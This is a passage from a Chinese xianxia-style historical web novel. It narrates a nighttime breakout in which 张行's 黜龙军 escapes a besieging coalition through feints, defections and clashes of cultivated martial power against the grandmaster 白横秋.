很难说郑善叶的判断是否明智,因为他并不知晓渡河而来的黜龙军突围队伍只有一个营,但事已至此,多想无益。 事实就是,在郑善叶第一时间选择逃离之后,本来就军心涣散的东都军在交战区域自然呈现出了一触即溃的场面……数不清的部队来不及穿衣披挂,直接选择惊慌逃窜,少数以校尉阶层为主的将领尝试控制局面、组织反击,却往往无法立足,要么是被溃败冲散,要么是被拼命突击的黜龙军给冲垮……举火开战后不到一刻钟,徐世英便亲手斩杀了至少两名校尉、司马之类的中层军官。 以至于极少数尝试抵抗的东都军一时间内只能以队为单位,在队将的指挥下努力控制住各自的营区而已。 “放火!” 已经突击到当面营寨中心位置徐世英察觉到局势变化后,立即下达了新的军令。 随着此人一句军令,火光次第而起,靠着燃烧帐篷、栅栏瞬间照亮了整个夜空,这下子,除了进一步瓦解了当面东都军的抵抗外,河东河西,联军大营上上下下,自然也是一起惊动,方圆数十里的营盘各自骚然。 东都军大营中军处,勉强披挂完成的郑善叶已经匆匆抵达,而且来到了中央将台处,距离立在将台正中央的白横秋不过区区数十步距离。然而,其人立在台阶上,心中却惶恐不已,竟半步不再向前……无他,郑善叶清晰的看到,这位可能是天下权势最大、实力最强的大宗师白横秋,根本就是衣甲鲜明……其人穿着完整的暗色甲胄,配以高冠薄氅,挎着一柄长剑,正负手立在将台上,冷冷看着起火之后轻易崩溃的东都军右侧营盘。 这一幕,让本就意识到什么的郑善叶彻底醒悟,“白公”绝没有“大意”,恰恰相反,“白公”早就发觉了黜龙帮渡河事宜,却选择了袖手旁观! 是字面意义上的袖手旁观,这位联军主帅和东都军此时的实际主将就这么站视黜龙军将自己营盘的一翼给打崩。 再加上之前的军事调度和人事安排,郑善叶有理由怀疑对方是故意如此作为。 “郑将军,且放宽心。”白横秋看了一阵子,终于回头睥睨来笑。“孙将军只在大营东面二十里外,此时已经动身来援了,只待黜龙帮主力将要渡河,我便出手,划开他的浮桥和冰面,让他全军崩坏在岸边,进退不得……便是韩引弓,我也传去讯号了,他有八千生力军。” “白公明见**,料事如神。”韩引弓的事情,郑善叶一无所知,孙顺德的伏兵倒是瞬间醒悟,至于什么冰面,更是一头雾水,但这不耽误他立即应声附和。“此战咱们必竟全功!” 而只是顿了一顿后,其人复又忍不住来问:“敢问白公,韩引弓在何处?” “在河对岸,大营西面几十里外埋伏。” “黜龙军主力未渡?” “怎么敢让他们渡?”白横秋再度望向了对岸大营,幽幽以对。“若是真的全军从这里涌上来,即便没有伏龙印,张行、雄伯南、十三金刚、伍惊风、徐世英,这些人也足以抵抗我了,而下面的军队对抗则是我们全落下风……届时,只怕他们会从容全军突围而出。” “敢问白公,黜龙帮先锋有几个营,是谁带领?” “徐世英领一个营而已。” “徐世英一个营就这般厉害?” “否则张行如何让此人来打头阵,做试探?” “原来如此。” 两人一番对话后,各自沉默,分别望着右侧营区的火光与对面黜龙帮大营深沉的夜色发呆来。 不过,到了这个时候,甚至是更早的时候,两人也不是仅有的将目光投向这两个地方的人: 河对岸,西北面的幽州军大营,罗术早早披甲完毕,此时正蹲坐在一处立木望台上,死死盯着前方,面色阴沉全程不变,心中却早已经翻腾不止……坦诚说,事到临头,黜龙军忽然提前发动,让他有些紧张,继而生出了一丝懊悔之意; 正西面最狭窄的营盘是王臣廓的位置,其人虽然起身仓促,刚刚披挂,但此时同样面色阴冷,然后一面留心看着河对岸的火光与近处黑黝黝的黜龙军营盘,一面却只拿绸缎仔细擦拭着自己的长刀; 西南面是原本太原-武安联军的地盘,但武安军已经尽数发向西面粮道,而太原军也做了两次分兵,此时只剩下两万众不足,但依然是整体反应最及时的,他们的大营整个都灯火通明起来,呼喊声、传令声不绝于耳,堪称严阵以待; 不过,这其中,武安军虽走,武安太守李定却没走,其妻张十娘也在,夫妻二人此时端坐在大营的后方,居然是置酒对饮的局面,如果不是二人时不时的一起看向北面,几乎称得上是事不关己高高挂起了; 除此之外,还有东北面的河间军大营,薛常雄及其部反应不紧不慢,几乎称得上是按部就班,但到了这个时候也开始建立起了防护阵线,薛常雄本人则好整以暇,端坐不动,静观势变; 最后,是正北方的冯无佚处,此地最为混乱和嘈杂,这是因为冯无佚营寨的部队来源最混乱,立场最复杂,战力最虚弱,面对着猝然爆发的战事,他们最为紧张乃至于到了恐慌的地步,而冯无佚本人也明显有些不知所措。 与这些相比,外围的韩引弓、孙顺德,乃至于屈突达、魏玄定等兵马与人物的反应,就可以稍微推到后面去了。 实际上,情况很快就发生了变化,因为黜龙帮第二波突击忽然就出现了。 且说,早在对岸火起的时候,战场北侧,便有数以千计的黜龙军借着夜色和对岸的火光与喊杀作掩护,离开了自家大营,然后迅速抵达北面联军几个大营身前,便开始手动挪开鹿角、推倒栅栏……没办法,之前十数日的围困中,联军虽然各怀心思,不能进取,但不耽误他们大举设置堑壕、栅栏,以作深入围困。 而现在,想要从周边联军突围,就必须要进行这一项工作,这就好像之前要从对岸突围时必须要搭建浮桥一样。 只不过,搭建浮桥可以隐秘进行,这种工作势必要惊动对方的前沿部队,并进行夜间的短兵相接了……但这种战斗的烈度似乎不大,反应最强烈的是东北面薛常雄的河间军大营,也只是喊声大了点、火把多了点而已,而且很快就随着黜龙军的主动退却消失了。 混乱的黑夜中,这类消息对于联军高层而言,最多是知道有这么一回事而已,既无法迅速沟通串联情报,也无法将注意力从河对岸东都军营盘的崩溃中转移过来。 但对于黜龙军而言,事情却并非如此。 就在这个时候,战场正北方,也就是冯无佚大营前的泥泞空地中,有挂着鲸骨牌的军官自前方折回做了汇报: “周头领,前面挪开了!应该是有一条路了!” 已经毫不避讳点燃的一根火把下,周行范披挂整齐,神色狰狞,闻言只是冷冷来问:“能走马吗?咱们都是骑兵。” 其人身后,人马密集,兼有金铁之声,俨然是早有成建制大部队等候已久。 “不好走!”来汇报的军官立即作答。“只是移开了栅栏、鹿角,堑壕不可能完全平整,属下建议,按照原定计划,五人一组,一人管五马在后跟随,其余四人在前步战突击……越过壕沟,进入营区就可以上马突击了!” 周行范点点头,便亲自步行向前。 而当他们抵达冯无佚营区前壕堑区,全军开始渐次举火的时候,一个连意外都未必算得上的意外出现了……具体来说,便是一匹战马的尾巴燎到了火把,然后脱缰逃窜。 周行范等人目视所下,这匹带着火的马居然直接越过了被拔出鹿角、栅栏的堑壕区,直接冲入了冯无佚的营区。 非只如此,由于战马上颇有些突围时准备的物资,被马尾引燃,居然沿途泼洒火种,迅速引起了混乱。 “十匹马,不要卸东西,点燃马尾,直接撵过去!”已经完全骚动起来的战场之上,小周头领心动灵至,忽然下达了一个意外的军令。 周围军官、士卒便是一时没想明白,看到这一幕,也都有些战场本能引发的醒悟,却是毫不犹豫,迅速执行了下去,而不过须臾,十匹马便被点燃马尾,往前方窜了过去。这十匹马,有八匹如之前那匹一般,直接越过了堑壕区,进入了冯无佚的营区,只有一匹马偏离了方向,另一匹马中途跌倒,在堑壕区内失控无法脱离。 “再点十匹马!”周行范气喘吁吁,即刻下令。 下属军士立即依言而行。 如此这般,反复十次之后,足足一百匹马被点燃马尾放了出去,冯无佚营区的最前端已经被火马惊扰的完全失控,而这不过是片刻之间的事情。 到此,周行范也不再犹豫和试探了,他正式更改了突围策略:“所有人跟我一般,握着马尾驱赶战马过去,没有马的步行跟随掩护!” 说着,便亲自寻到一匹战马,握住马尾,催动战马,往前方冲去。 而这一冲,直接将整个战场都冲懵了。 因为进展太快了,几乎是在短短一刻钟内,周行范及其部骑兵,便深入到了冯无佚大营内里,然后翻身上马,以甲骑姿态,放肆突袭杀戮。 对此情形,周边诸军惊疑不定,就连河对岸的白横秋都忽然心下一紧,包括黜龙军自己也都有些措手不及。 “北面效果太好了!” 尚显平静的大营西北面,负责侦查战况的伍惊风眼见正北面战线迅速推进,忍不住自空中落下进言。“首席,咱们走北面吧!跟上周头领的骑兵,速速突过去,让对方来不及反应!突过去就行了!” 黑夜中,张行沉默片刻,明显动摇,但稍一思索,还是缓慢而又坚定的摇头:“等一等!冯无佚那里,白横秋不可能没有安排。” 伍惊风点点头,但又坐立不安,却只是一拱手,便再度匆匆腾跃而起,乃是往进展神速的冯无佚营中助阵去了。 张行目送对方过去,心中微动,却又看向了雄伯南:“天王,你也去!替小周闹一闹!等到这边进发了,你再回来!” 雄伯南会意,毫不迟疑腾跃起身,但其人既起,又与伍惊风不同,一开始只是一个紫色光点,腾到北面冯无佚大营中,却又宛若一面大旗飘起,然后便往下方铺陈过去。 河东河西、四面八方、两军上下,整个战场都清晰地看到这一幕,便是自火起后飞速赶来的孙顺德都看到了一片紫光,继而耸然。 “白公,他们想从冯公营中走?”郑善叶惊慌一时。“徐世英是偏师诱饵?!怪不得徐世英都快打穿出去了,后方都没有再跟上的兵马!” “有可能!”白横秋负手以对,眼睛忍不住微微眯了起来。“但未必是存心如此……若是冯无佚那里他们能从速通过去,徐世英就是诱饵与偏师,若是冯无佚那里不能轻易通过去,自然还是要回来从这里走的!” “那……”郑善叶忍不住来问。“他们能不能从速通过去?” “要看两个人。”白横秋倒也没有遮掩什么。“一个是罗术,一个是薛常雄……冯无佚我已经没有什么指望了。” “不错。”郑善叶恍然。“黜龙帮再怎么能打,可堑壕、鹿角、栅栏摆在那里,总不可能这般轻易冲过去……冯公到底是起了异心,今夜要坏事的。” 白横秋没有回答,只是继续负手立于微微南风中,看着对岸刚刚新起的战场。 就在那片战场中,也就是联军正北面的大营内,冯无佚愣楞的看着火光顺着微微南风卷来,看着紫色大旗铺天盖地,看着黜龙军**铁马奋力突击,看着理论上属于自己下属的士卒惊慌逃窜,死伤无算……其人迟疑片刻,便看向了身侧几位都尉,咬牙来言: “赵都尉、高都尉,还有其余几位,不管你们信不信,我与张首席并无私下约定、勾结。” 齐泽、高士省等人皆面面相觑,且沉默不语。 而冯无佚也继续说了下去:“几位,我素来只是个空头的主将,靠着虚名和家世居于你们之上,这些兵马也都是你们自行招募、使用的,早在我署任之前就已经有了。而如今,局势激烈,已经到了我们不得不做选择的局面,你们想要如何,我绝不阻拦,而我别无所能,也只能为你们继续担一担名头。换句话说,你今日阻拦了黜龙帮的,若黜龙帮将来得势追问,我会告诉黜龙帮的人,是我冯无佚使用下属拦了黜龙帮;今日给黜龙帮让开一条路的,若英国公追问,我也会告诉英国公,是我念及旧情,所以至此……伱们尽管施为去吧!” 众人齐齐释然。 随即,高士省一声不吭,第一个转身离开,也知道要如何作为。 紧接着,又有几人跟上。 剩下人以赵郡都尉齐泽为主,此人犹豫片刻,也下定了决心:“既如此,冯公,请允许属下保护冯公往后方撤离……这便是我这个赵郡都尉今日的决断了。” 说着,只是一招手,便下令自己的心腹将冯无佚架起来,直接往更北面而去。 别处不说,齐泽这里一走,整个冯无佚大营内的部队都受影响,却是或主动或被动向后而去,继而整个营区不敢说有崩解之态势,却是无法再抑制黜龙军甲骑营的突击了。 这个时候,就在冯无佚大营东侧的薛常雄大营内,兵力雄厚的河间军出动了,他们主动往略显狭窄的冯无佚大营压了过来,其中一柄巨大的金刀更是在空中高高悬起,往这边切了过来。 但是,那面紫色的大旗也立即从营地中抬起,当空迎面卷了上来,两者相交,真气交杂,宛若雷鸣电闪,轰动整个战场。 黜龙军大营西北侧,这片战场的东南方向,黜龙军剩余全军高层望着这一幕,也不由各自震动。 “薛常雄到底是站到白横秋那边了。”素来机智睿断的马围气急败坏。 “与其说他站到白横秋那边,倒不如说他没有道理轻易站到我们这边……这种局势下,只要不站到我们这里,以河间军的兵强马壮,必然要与我们作战。”崔肃臣嘴上道理清晰,却不耽误他面色铁青。 张行努力从那处战场上收回目光,看向身前西北面的幽州大营:“去寻张将军,请他告诉罗术,速速抓住机会,调走当面部队!我们这就要走!” 贾闰士得令,亲自跃马向前,去寻张公慎说话……原来,罗术早早将张公慎安排到最前面,借此机会,当面的栅栏、鹿角也早早借着其他各处战场掩护,然而幽州军不比东都军之军心早早动摇,也不比冯无佚军的弱势杂乱,所谓部众整齐、兵力雄厚,若不能趁乱将一些罗术都无法妥善控制的部众给调度起来,黜龙军未必敢走这一条路。 军情如火,张公慎接到话,立即赶赴中军,就在那个狭窄立木望台上见到了罗术与白显规,却是迅速爬上,当面将张行言语带到。 孰料,蹲坐在这里的罗术闻言忽然展颜来笑:“公慎,不瞒你说,我刚刚跟 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甚至更极端一点,都不需要等到这些迹象出现,只要黜龙军主力露了怯,从了他,这位罗总管就有可能二度变卦,像饿狼一样扑上去。 一念至此,张公慎不由叹了口气。 白显规见状略显诧异:“公慎,不相干的人罢了,何至于此?” 罗术也眯眼来看。 张公慎再度摇头:“总管、白大哥,我虽稍微同情黜龙帮,也跟黜龙帮的一些人交好,但却不至于为黜龙帮叹气,我之所以叹气,是因为总管的这话,那张三张首席居然早就预料到了,刚刚让人传话时就做了交代……只不过他说的难听,我一开始不想平白惹总管生气,这才没说。” 白显规一时愣住。 罗术当即色变:“张三怎么说?” “他说……他说总管你这个人野心勃勃,却又畏强凌弱、唯利是视,以至于轻狡反复、素无德律,始终一狡贼而已,故今夜临阵见变,必有侥幸之心,徒生恶念。”张公慎低着头,一字一句,清晰无误,似乎是怕记错了字一般。“所以,他让我转告总管,今夜,总管你按照约定调离部队也好,不调也好,他都要亲自带领黜龙军主力英杰,从幽州军大营中突围出去!到时候,天命归谁他不管,只咱们俩家夜间刀枪交加,奋力一搏,谁生谁死,就不用问天意了!” 罗术目瞪口呆,继而嘴角几乎是忍不住跳动起来,半晌方才止住,继而站起身来,却又显得摇摇晃晃,似乎是蹲的太久了一般。 立木望台上狭窄,白显规、张公慎都近在咫尺,本能去扶,却不料罗总管已经扶住了一旁的立木,然后望着眼前混乱而庞大的夜间战场放声大笑,笑声震动中军,下方军士都来看。 白、张二人心惊肉跳,便要来劝。 孰料罗术忽然止住大笑,只是摇头,轻声来对:“知我者张三是也,今夜倒是被他拿捏住了……告诉魏文达与赵八柱,黜龙军今夜突围,河对岸是偏师、诱饵,冯无佚那里才必然是黜龙军真正突围方向,且传军令,让魏文达领兵一万,从后军绕出来,到冯无佚大营身后截杀;让赵八柱领军六千,从西面王臣廓营中过去,绕到侧后去攻击黜龙军大营;我自领兵数千去冯无佚营中与薛大将军作夹击……营中就交给你们二人了。” 白张二将不敢怠慢,俯身称是,结果罗术早已经不耐烦,直接运行真气,从望楼上跳了下去。 张公慎近来一阵奔波,修为已经到了凝丹节点,却不敢展露出来,只跟白显规一起爬下去……而他在后面,一转身,便借着火光发觉,一个立木上居然有个明显凹陷进去的手印,俨然是之前有人愤恨至极,借着修为留下了这么一个印记。 但不管如何了,他张公慎今夜不辱使命。 很快,西北面的幽州军大营整个轰然启动,与隔着狭窄冯无佚大营的东北面河间军大营遥相呼应,似乎要将冯无佚部营寨内奋战的黜龙军给活活夹死。 见此情况,隔着大河的白横秋微微皱眉,以至于徐世英成功突破了东都军右侧大寨都没有什么反应,而另一边,战场的西南方向尽头,正在一个小坡上宴饮的李定举杯一饮而尽,继而当场叹了口气: “竟是罗术反了水!张三这厮今夜已经多了三分胜算!” 张十娘替自家丈夫斟了一杯酒,含笑来言:“夫君不是说了嘛,如今我们无兵无卒,只我们夫妇二人,便是与张三对上,也只是自取其辱,这一局已经跟我们无关了!” 李定端起酒来,苦笑一声:“话虽如此,我却与张行有个事关重大的赌约在这一局上,结果连上桌的机会都无,将来岂不让天下人耻笑?” 张十娘思索片刻,认真来劝:“现在的事情是时运所致,多思无益;将来天下人的看法,却是看夫君将来的作为与成就……我自当年杨幕中见夫君,便一直相信夫君将来必成大器,而夫君将来成大器,谁又会因为这大器成就前的一些打磨而耻笑谁呢?” 李定笑了笑,看着自家爱妻来言:“欲成大器,必要打磨,但人都是肉体凡胎,却也经不住打磨,尤其是有些打磨过后,将来能成的器便未必是之前想成的样子了。” “都是我之大器。”张十娘来不及仔细思索,便毫不犹豫来对。 李定再度笑了笑,端起酒杯来,再度一饮而尽,待放下酒杯,不去理会下游战场之激烈晦暗,反而心中微动,想起两个人来,然后再笑:“若是这般说,我也的确怨不得人……当日自诩大器者,何止是我一人?禁受时局造化,以至于渐渐不堪者,又何止是我?当此大战,我还能持酒观战,却不晓得白三娘与秦二郎如今在哪里打磨?将来又成什么器?” 三更将过,龙囚关关外,大河南岸一处渡口的待渡木棚下,借着双月的月色,秦宝裹着一件毛皮氅,靠在一个木椅上,犹然瑟瑟发抖……他不是冻的,而是伤口周期性发作,疼痛难忍,牙关难平……坦诚说,这不是坏事,因为相较于两日前还不能发力,外加真气经脉阻断,以至于发病时完全无法行动的局面来说,如今秦二的伤势堪称恢复的一日千里。 便是眼下疼痛,也只是疼痛,不耽误他发动真气保护自己,或者强行运动了。 坦诚说,此时的秦宝,心里已经有了要疼痛一辈子的觉悟,但却已经放下心来了。 就在伤势大大好转的秦宝身前,赫然立着一名须发花白的老者,其人之前只是看着头顶双月发呆,并没有去看发病的身后之人,却正是从东都飞速逃离的前大魏尚书左丞、荥阳留守大使、号称大魏智囊的张世昭。 不过,待秦宝一阵发作稍缓,张世昭还是第一时间回头出言:“如此说来,秦二郎倒与老夫无二,都是乱世颠沛后好不容易下定决心,结果却造化弄人,觉得此番再不追上,便没了机会……所以才辛苦至此?” “是!”秦宝疼痛稍却,顶着满头大汗来答。“张公,咱们不要耽搁了,我现在身体好转,可以登船了,我来施展修为,割断铁索,咱们速速渡河!说不得还能赶上张三哥突围的局面,尽力做些事情。” 张世昭点点头,他此时也只能点头:“好。” 见到张世昭同意,秦宝努力站起,运行真气,只一锏便砸断了渡口木棚前拴着小船的铁索,却不忘从怀中取了一锭银子,扔在木棚椅子上,这才上船。 张世昭在侧,目睹整个过程,却并无言语,只是低头上了船。 而就在秦宝和张世昭一起登上这艘锁在渡口的小船时,这条大河的尽头,送走苏靖方不过一个下午和半个夜晚的白有思也已经收拾妥当,却是在河口处先行登上了一条大海船。 跟秦宝能夜渡不同,白有思为了此番出现,在之前数月内搜罗了整个渤海、无棣、登州的海船、河船,汇集了一个大小船只数百艘的舰队,而且要带着足足五个营一万名战兵,数量尽可能多的物资、军械补给,包括七八名头领在内,一起出行。 所以,即便是已经准备妥当,她也要等到天亮才能出发。 只不过,不晓得是忧心张行有所感,还是修为极高的她心血来潮所致,根本睡不着的白三娘提前登上了作为旗舰的一艘大海船。 夜色中,听着河口的潮水声与流水声,感受着东面海天之间隐隐如潮的庞大自然辉光,堂堂天下第二年轻的宗师,居然有些失神。 又过了一阵子,秦宝和张世昭登上了大河北岸的大堤。 此时,是四更时分,相对于大河河口处还非常黑的西面战场上,披着白色短氅的张行一马当先,骑着黄骠马,在张公慎的接应下,率部涌入了已经非常空虚的西北面幽州军大营。 又过了一刻钟,前方当面发生势不可少的接战,张首席毫不犹豫,换了一把寻常铁枪的他挥舞铁枪,释放出了自己代表性的庞大寒冰真气,周围随从的黜龙帮精锐、各营骨干,纷纷随之加入,汇集一体。 得此助力,真气弥漫扩散,几乎席卷幽州军大营,继而平地生起一团雾气。 也不知道是不是巧合,遮蔽了月光许久的云气此时反而渐渐疏离,白横秋隔河去看,不用真气感触,只是肉眼目光精锐,便看到了一幕。 更不用说,那团巨大的雾气中此时爆发出了前所未有的喊声! 不是喊杀声,只是夹杂着笑声的大喊声! 大概是因为黜龙帮喊惯了口号,不过片刻,两岸内外,整个战场便都听得清楚。 正是: “白公妙计安天下,赔了东都又折兵!” 第二百八十二章 山海行(29) “白公妙计安天下,赔了东都又折兵!” 四更时分,刚刚露出的月光下,原本混乱的偌大战场忽然被一阵阵整齐的喊声给穿破,一时间,几乎所有人都注意到了战场西北侧的动静,自然也听到了这句话。 “黜龙帮今夜事成了?!”听着喊声中夹杂的笑声,黜龙军原本的大营前,拎着长刀的王臣廓在马上回头,满脸都是惊愕。“这般轻易?” “黜龙军好本事,我们刚刚出兵,他们便这般坚决,压上主力从我们那里走了,还一下子就冲过了一半营区。”一旁的幽州军大将赵八柱同样惊愕,但关注点完全不同。“怪不得大营是空的,人家必然是之前就已经出营,然后在北面等候,看何处出破绽了。” 王臣廓点点头,瞥了对方一眼,冷不丁来问:“赵将军要回援吗?” 赵八柱一愣,忽然一惊,火光勒马转了一圈,反问过来:“王都尉什么意思?” “我的意思是,不如赵将军回援本营,与营中其他幽州军前后夹击,我且去贼营中起一把火,再去寻你。”王臣廓横着手中大刀言之凿凿。“赵将军熟悉营寨,可以先去,而我这里火一起,对黜龙贼来说也是个惊动。” 赵八柱沉默片刻,却又扭头看向了河对岸的东都军大营,然后莫名来问:“王都尉,你是一营主将,常常在白公身前听令,在下认真的问一问,这黜龙贼喊得都是真的吗?东都没了?” 王臣廓当即摇头:“在下不知。” 赵八柱当即干笑了一声,而王臣廓虽然板着脸,却也纹丝不动,两位领军大将,所领之兵加一起足足万军以上,而且处在战场的最中央,是调度出击的最佳方位,却居然在这个关键时刻放弃了战术活动,转而驴头不对马嘴,就地闲扯了起来。 当然,二人心知肚明,他们不是在刻意消极避战,也不是一时慌乱之下不晓得能做些什么,更不是突然失心疯就是想闲谈,而是心有灵犀,不约而同在等待一个讯号。 且说,今夜之战,黜龙帮大举突围,两路偏师先发,闹得阵势极大,而且居然全都起效,那时便觉得黜龙军已经很有气势了,但这些都无法跟眼下黜龙军主力忽然突入空虚的幽州军大营相提并论。完全可以说,局势到了眼下正式发生偏转……接下来,若是联军再无动作,则黜龙军必然迅速从这个之前联军完全没有预想到的方向脱出。 届时,那可真就是龙游天际,虎入山林了。 反过来说,若是此时联军还要阻拦,那就必须要一个人亲自上阵,才有后论。 这个人不动,其他人自然乐的带一万多兵马去空营中放火等天明,甚至,便是这个人动了,大家也会看看效果和此人的决意,再行决断。 河对岸,白横秋其实没有一丁点的犹豫。 在黜龙军喊出那句话的时候,在他看到那团雾气腾空而起的时候,在他意识到发生了什么的时候,这位联军主帅就已经做出了决断——不可能,他不可能就这么放任对方这么直接金蝉脱壳的! 可以走,但最起码让他白横秋将所有棋子落下再走。 只不过,他虽是大宗师,却也还是凡人之躯,还需要这么其他人闲言碎语的一点时间来分析一下局势,来弄清楚眼下所有人的所有位置,包括高端战力与兵力配置,然后再行落子: 徐世英带领着一个营,渡河而来,自己原以为是试探性的先锋,结果是偏师诱饵,他们成功吸引了自己的注意力,乃至于整个战场的注意力,如今也已经突破到了东都军一侧营寨的最外头了,再不拦,就要立即跑出去。 但是,因为他白横秋就站在这里,只要想拦,则可以迅速拦下。 另一路,看样子是周效明之子周行范带领的骑兵,应该也是偏师诱饵,只不过诱的不是冯无佚,冯无佚这厮明着也好暗着也罢,如今已然事实上让开了道路……这支兵马实际上诱的是冯无佚两侧的薛常雄与罗术。 而且,这俩家已经动了。 然后就是张行以及剩余主力了,五营兵马,万众,忽然间长驱直入,一口气突到了纵深极大的幽州军大营中部……考虑到距离和方向,跟徐世英这边一样,再不动,也来不及了。 而从张行及黜龙军主力的动向来看,幽州军,最少是罗术,应该也跟黜龙帮做了勾结。 没错,白横秋一开始就不相信幽州军是被黜龙军所趁,因为黜龙军的进军速度也太快了……不说别的,黑夜中,之前用作围困的鹿角、栅栏以及堑壕应该是跟清漳水一般,属于对所有部队一视同仁起到迟滞作用的……不是说不能被破解,可既没察觉到张行的寒冰真气再度爆发,也没有见到雄伯南将他的紫色大旗铺在幽州军大营内侧那片区域,黜龙军凭什么这么快就涌了过去? 凭什么薛常雄的河间营之前就没有被迅速拔除掉栅栏与鹿角? 唯一的答案是,幽州军内侧的这些障碍物根本就是之前在所谓混战中被偷偷拔除的,而幽州军根本就是坐视,甚至早早放弃了这个阵地。 至于说除此之外黜龙军进军与幽州军分兵出营助战的巧合时机……只能说,罗术这厮自欺欺人,反了就反了,居然还想投机取巧两面光! 与之相比,薛常雄虽然有些见机行事,却反而靠得住多一些。 王臣廓也是,幽州军内部被派遣出去的将领也不可能全部被黜龙军收买,这些人都可以在他这位大宗师的催促下重新使用,便是罗术也可以施压,使之反身而战。 除此之外,自己还有本部太原军主力可以调度,孙顺德、韩引弓作为战场外围的后手应该已经在路上,后者会起到奇效。 想清楚怎么回事后,其实也就是片刻间,黜龙帮那边还在兴奋大喊呢……白横秋便忽然回头:“郑将军!我将东都军与我直属参军、文书、亲卫皆予你,伱来率营中之兵去追徐世英!孙顺德将军正在迎面过来,届时徐世英虽强,你与孙将军一起必能抵挡,而其军则当两面夹击,然后必溃!” 郑善叶立即颔首,还要言语,却见对方身侧辉光点点,并不如其他宗师、成丹、凝丹高手汇聚成团,反而有一条银线凭空出现,似乎自空中无端垂下一般,下方直接连接到这位大宗师的身影。 随即,只见对方轻轻一起,便牵引着这条银线消失在夜空中,但是动静依然极大——随着这位大宗师的位移,夜空中仿佛闪过一个银色的镜面一般,乃是起自东都军大营中军处,横跨了整个清漳水,往战场北面切去。 见此情形,第一个做出的反应的不是别人,正是与薛常雄金色**作战的紫色大旗,雄伯南第一时间察觉到了危险,径直卷动,转回到了身后幽州军的营盘,去汇合张行……没办法,如果不走,完全可以想象,他将会成为白横秋这次出击的首要目标。 随着雄伯南的退却与白横秋的出击,黜龙军主力处原本整齐的呼喊声也停了下来,取而代之的是理所当然的紧张感与慌乱。 “走!速走!” 队伍尾部的徐师仁大声传令,声音中却似乎带着一丝颤抖。“除了必要的战马、甲胄、兵器、干粮,其他阻碍进军的全都扔下!” “不要纠结作战,只要不拦着我们,冲过去就行!”队伍前方的王雄诞也放声呼喊。 而理所当然的,所有人都在提速,也都隐隐往中央一人靠拢。 那人穿着甲胄、披着白色短氅,于夜风中骑着一匹黄骠马,扶着一支并不是太长的铁枪,不慌不忙向前而行,同时在夜色中借着月光、火光四下环顾,然后随着那道银面出现,却又立即看向了正上方的天空,正是黜龙帮首席张行。 大宗师来了,往张首席身侧靠拢,似乎让人充满信心的选项,也是唯一选项。 “我去堵黜龙贼,王都尉去放火!”见到那夸张的银色真气切面轻松驱赶了紫色大旗后,幽州军大将赵八柱毫不犹豫,直接勒马转向。 而王臣廓也立即点头:“我去贼营中放火,马上就来。” 果然二人既见银色切面横空出世,便立即停了废话,一个提枪,一个拎刀,各自勒马转开,继续了战术动作。 这个时候,银面已经切到了金刀之侧。 人刚落到半空,与薛常雄齐平,白横秋便开门见山:“薛公!我已遣刘扬基督韩引弓领八千生力军自西面而来,便是黜龙贼逃出去也必能切其侧翼;又有孙顺德督六千兵自西面来,迎头兜住徐世英;眼下冯无佚营中黜龙军偏师在此,还请薛公分兵阻截追击;还有追击黜龙贼之事,罗术心术不正,不能依仗,也要河间军与太原军协力;还有武安军,段公走前便得我言语,此间一战,他便即刻折回,协助作战;至于薛公本人,请随我一起,只管粘住雄伯南,今日事便铭记于心!” 约莫数丈高的半空中,薛常雄沉默了片刻,便给出了答案:“既如此,我且依旧随白公一行,但张行那里,恕我不能近身!” “无妨,如今他军阵不存,我若再不能破,也无须你上前。”白横秋点头来言,心中也打定了主意,若是真不能成,只做追击杀伤,也要尽量让黜龙军扒皮去骨。 薛常雄点点头,而白横秋也不再理会对方,更不去寻罗术或者自家本部来做吩咐,而是在空中负手悬浮,任夜风鼓动罩袍与须发,宛若观风景一般。 但是,当此之时,不只是薛常雄、雄伯南以及在太原军营中整晚一点动静都没有发出的王怀通可以察觉,整个战场上的所有人,都察觉到了异象,继而不约而同往空中来看……原来,就在空中,随着白横秋立定,之前切过半个战场的银色镜面正在飞速收起,就在这位大宗师的头顶上渐渐汇集成团,宛若生出第二个银月一般。 不敢说映照整个宽阔至极的战场,但很快便足以照的北面多个联军大营更加明了。 非只如此,随着银月凝结,四下原本并不大的春日南风渐起,明显有了风声卷动四野。 当此异象,联军与黜龙军各自凛然,前者心中一紧,原本拖延的各自加速,原本犹疑的也都毫不犹豫发动起来;而被雾气遮蔽了一半的黜龙帮主力那里,则更加紧绷,徐师仁、王雄诞等指挥官也皆不再呼喊,只是各自奋力向前。 无他,大半月前,就在这里,众人是亲眼目睹过白横秋这落子之威的。 而如今在突围途中,根本没有大阵阻拦,一则不知道会是谁来挨这一击,二则却晓得挨了这一击,十之**便要当场命消……这种任人宰割的无奈与恐惧,是加速部队崩溃的最好催化剂。 “几位,你们能接下这一击吗?”张行瞥了眼那个银盘,胯下黄骠马不停,却朝一侧喊话。 一人勒马靠近,赫然是刚刚拿真气剃过头的莽金刚,其人直言不讳:“只能接一子!” “我都不能弃大阵来接!”雄伯南诧异插话。 “若雄天王助我们,我们能接两子!”莽金刚匆匆解释。“天王到底是宗师,底子在那里,只是不晓得如何解他这三辉棋子的法门罢了,借真气给我们,我们来接!” 雄伯南闻言大喜:“那日老贼奋尽全力,不过三子,再往后便只能亲身化子来对付我们了,今日我们固然不能成军阵,他又如何能仿效当日借本军之力?果真如此的话,怕也不过两子……” “张首席!”就在这时,白金刚忽然挤上前来,低声咬牙相对。“你换掉短氅,带着伏龙印,我们兄弟与你一起到后面去埋伏,然后以雄天王或伍大郎做诱饵……若老贼自以为是,真敢过来,或者只是薛常雄过来,到时候首席发动伏龙印,我们就势拿下一个也好打伤一个也行,今日事就成了!” 众人各自意动。 张行却缓缓摇头:“不行……此间真气以我为底来做连结,一旦过去,雾气也要清散,根本瞒不住!” “也是可以试试的。”伍惊风忍不住来劝。“何妨先散了雾气,好做伏击!赌一赌总是行的!” 众人再度意动。 张行无奈,只能解释:“也不瞒你们,伏龙印上次用后便隐隐不振,而我又不得法门,怕再用一两次就要坏掉,所以,伏龙印可以用,却不能赌,这也是我不从对岸突围的根本缘故!” 周围人恍然,却又心惊,伍惊风更是在马上锤动大腿。 而就在这时候,前方忽然遭遇战事,却是幽州军留在营中的极少数残余在不晓得上层情况下,看到了白横秋的抵达,私下违背了白、张二人指挥,选择来迎战。 当然,作为先锋的王雄诞已经率众迎上了。 